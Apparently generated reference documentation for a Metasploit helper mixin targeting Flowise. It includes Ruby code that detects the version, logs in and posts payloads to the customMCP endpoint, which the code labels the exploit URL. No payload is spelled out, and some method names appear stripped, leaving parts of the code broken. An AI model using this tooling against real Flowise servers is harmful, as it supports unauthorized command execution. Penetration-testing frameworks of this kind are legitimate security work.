Module: Msf::Exploit::Remote::HTTP::Flowise

Includes:
Msf::Exploit::Remote::HttpClient
Defined in:
lib/msf/core/exploit/remote/http/flowise.rb

Overview

This module provides a way of interacting with Flowise installations. It includes methods for version detection, authentication, and sending requests to the customMCP endpoint.

Examples:

include Msf::Exploit::Remote::HTTP::Flowise

def exploit
  version = flowise_get_version
  if flowise_requires_auth?(version)
    ('admin@example.com', 'password')
  end
  flowise_send_custommcp_request(payload_data)
end

Instance Attribute Summary

Attributes included from Msf::Exploit::Remote::HttpClient

#client, #cookie_jar

Instance Method Summary collapse

Methods included from Msf::Exploit::Remote::HttpClient

#basic_auth, #cleanup, #configure_http_login_scanner, #connect, #connect_ws, #deregister_http_client_options, #disconnect, #download, #full_uri, #handler, #http_fingerprint, #initialize, #lookup_http_fingerprints, #normalize_uri, #path_from_uri, #peer, #proxies, #reconfig_redirect_opts!, #request_opts_from_url, #request_url, #rhost, #rport, #send_request_cgi, #send_request_cgi!, #send_request_raw, #service_details, #setup, #ssl, #ssl_version, #sslkeylogfile, #strip_tags, #target_uri, #validate_fingerprint, #vhost

Methods included from Kerberos::ServiceAuthenticator::Options

#kerberos_auth_options

Methods included from Kerberos::Ticket::Storage

#initialize, #kerberos_storage_options, #kerberos_ticket_storage, store_ccache

Methods included from Auxiliary::LoginScanner

#configure_login_scanner

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Instance Method Details

#flowise_get_versionRex::Version?

Retrieves the Flowise version from the target

Examples:

version = flowise_get_version
# => #<Rex::Version:0x00007f8b1c0a0b00 @version="2.2.7-patch.1">

Returns:

  • (Rex::Version, nil)

    The Flowise version, or nil if the version cannot be retrieved



30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# File 'lib/msf/core/exploit/remote/http/flowise.rb', line 30

def flowise_get_version
  version_url = normalize_uri(target_uri.path, 'api', 'v1', 'version')
  res = send_request_cgi({
    'uri' => version_url,
    'method' => 'GET',
    'headers' => { 'Accept' => 'application/json' }
  })

  return nil unless res&.code == 200

  version_str = res.get_json_document['version']
  return nil if version_str.blank?

  Rex::Version.new(version_str)
end

#flowise_login(email, password) ⇒ Boolean

Authenticates with Flowise using JWT (email/password)

Examples:

('admin@example.com', 'password')

Parameters:

  • email (String)

    The email address for authentication

  • password (String)

    The password for authentication

Returns:

  • (Boolean)

    true if authentication succeeds

Raises:



71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# File 'lib/msf/core/exploit/remote/http/flowise.rb', line 71

def (email, password)
  if email.blank? || password.blank?
    fail_with(Msf::Exploit::Failure::BadConfig, 'Email and password are required for authentication')
  end

   = normalize_uri(target_uri.path, 'api', 'v1', 'auth', 'login')
  res = send_request_cgi({
    'uri' => ,
    'method' => 'POST',
    'ctype' => 'application/json',
    'headers' => {
      'x-request-from' => 'internal',
      'Accept' => 'application/json, text/plain, */*'
    },
    'keep_cookies' => true,
    'data' => {
      'email' => email,
      'password' => password
    }.to_json
  })

  unless res
    fail_with(Msf::Exploit::Failure::TimeoutExpired, 'No response from server during login attempt')
  end

  case res.code
  when 200, 201
    print_good('Authentication successful')
    return true
  when 401
    fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - invalid credentials')
  when 404
    # Flowise returns 404 with "User Not Found" when the user doesn't exist
    fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - user not found')
  else
    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Login failed with HTTP #{res.code}")
  end
end

#flowise_requires_auth?(version = nil) ⇒ Boolean

Checks if the Flowise version requires authentication

Examples:

if flowise_requires_auth?
  ('admin@example.com', 'password')
end

Parameters:

  • version (Rex::Version, nil) (defaults to: nil)

    The Flowise version to check. If nil, retrieves it automatically

Returns:

  • (Boolean)

    true if authentication is required (version >= 3.0.1), false otherwise



55
56
57
58
59
60
# File 'lib/msf/core/exploit/remote/http/flowise.rb', line 55

def flowise_requires_auth?(version = nil)
  version ||= flowise_get_version
  return false unless version

  version >= Rex::Version.new('3.0.1')
end

#flowise_send_custommcp_request(payload_data, opts = {}) ⇒ Boolean

Sends a request to the customMCP endpoint

Examples:

payload_data = {
  'loadMethod' => 'listActions',
  'inputs' => { 'mcpServerConfig' => '{...}' }
}
flowise_send_custommcp_request(payload_data, username: 'admin', password: 'password')

Parameters:

  • payload_data (Hash)

    The payload data to send (must include 'loadMethod' and 'inputs')

  • opts (Hash) (defaults to: {})

    Optional parameters

Options Hash (opts):

  • :username (String)

    Username for Basic Auth (if required)

  • :password (String)

    Password for Basic Auth (if required)

Returns:

  • (Boolean)

    true if the request was sent successfully (HTTP 200 or no response for background payloads), false otherwise



124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
# File 'lib/msf/core/exploit/remote/http/flowise.rb', line 124

def flowise_send_custommcp_request(payload_data, opts = {})
  exploit_url = normalize_uri(target_uri.path, 'api', 'v1', 'node-load-method', 'customMCP')

  headers = {
    'x-request-from' => 'internal',
    'Accept' => 'application/json, text/plain, */*'
  }

  if opts[:username] && opts[:password]
    headers['Authorization'] = basic_auth(opts[:username], opts[:password])
  end

  request_opts = {
    'uri' => exploit_url,
    'method' => 'POST',
    'ctype' => 'application/json',
    'headers' => headers,
    'keep_cookies' => true,
    'data' => payload_data.to_json
  }

  res = send_request_cgi(request_opts)

  unless res
    vprint_warning('No response from server (command may still execute in background)')
    return true
  end

  case res.code
  when 200
    vprint_status('Command sent successfully (HTTP 200)')
    return true
  when 401
    vprint_error('Authentication required - check credentials')
    return false
  when 404
    vprint_error('Endpoint not found - target may not be vulnerable')
    return false
  when 500
    vprint_error('Server error - command may have failed to execute')
    return true
  else
    vprint_warning("Unexpected HTTP response code: #{res.code}")
    return true
  end
end